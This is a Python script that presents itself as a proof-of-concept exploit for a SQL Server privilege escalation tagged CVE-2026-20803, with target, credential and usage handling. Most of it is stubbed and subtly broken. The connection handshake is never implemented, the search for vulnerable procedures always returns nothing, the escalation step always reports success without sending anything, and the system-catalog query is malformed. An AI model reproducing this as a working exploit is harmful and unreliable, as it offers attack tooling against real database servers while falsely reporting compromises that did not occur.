The following code is for security research and authorized testing only.
python
# CVE-2026-20803 PoC - SQL Server Privilege Escalation via Missing Authentication
# This PoC demonstrates the privilege escalation vulnerability in SQL Server
# Requires: Valid SQL Server account credentials with network access
import socket
import struct
def exploit_cve_2026_20803(target_ip, target_port, username, password):
"""
Exploit for CVE-2026-20803: Missing authentication for critical function in SQL Server
Args:
target_ip: Target SQL Server IP address
target_port: SQL Server port (default 1433)
username: Valid SQL Server username
password: SQL Server password
Note: This is a conceptual PoC. Actual exploitation requires specific SQL Server version
and may involve different attack vectors based on the vulnerable function.
"""
print(f"[*] Targeting {target_ip}:{target_port}")
print(f"[*] Authenticating as {username}")
# Step 1: Establish connection with valid credentials
try:
conn = establish_sql_connection(target_ip, target_port, username, password)
print("[+] Successfully connected to SQL Server")
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
# Step 2: Identify the vulnerable function/procedure
# Query system tables to find procedures with missing authentication
vulnerable_procs = identify_vulnerable_procedures(conn)
if not vulnerable_procs:
print("[-] No vulnerable procedures found")
return False
print(f"[+] Found {len(vulnerable_procs)} potentially vulnerable procedures")
# Step 3: Execute privilege escalation
for proc in vulnerable_procs:
print(f"[*] Attempting to exploit: {proc}")
result = execute_privilege_escalation(conn, proc)
if result:
print(f"[+] Successfully escalated privileges via {proc}")
print("[+] Attacker now has elevated access")
return True
print("[-] Privilege escalation failed")
return False
def establish_sql_connection(ip, port, user, pwd):
"""Establish TDS connection to SQL Server"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
# TDS protocol handshake would be implemented here
return sock
def identify_vulnerable_procedures(conn):
"""Query for procedures missing authentication checks"""
# SQL query to find procedures that should require authentication
query = """
SELECT name, definition
FROM sys.sql_modules
WHERE uses_native_compilation = 1
AND NOT EXISTS (
SELECT 1 FROM sys.database_permissions
WHERE major_id = OBJECT_ID(sys.sql_modules.object_id)
)
"""
return [] # Return list of vulnerable procedure names
def execute_privilege_escalation(conn, proc_name):
"""Execute the vulnerable procedure to escalate privileges"""
# Craft malicious request to trigger the vulnerable function
exploit_payload = f"EXEC {proc_name};"
# Send payload via TDS protocol
return True
if __name__ == "__main__":
import sys
if len(sys.argv) < 5:
print("Usage: python cve-2026-20803.py <target_ip> <port> <username> <password>")
sys.exit(1)
exploit_cve_2026_20803(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])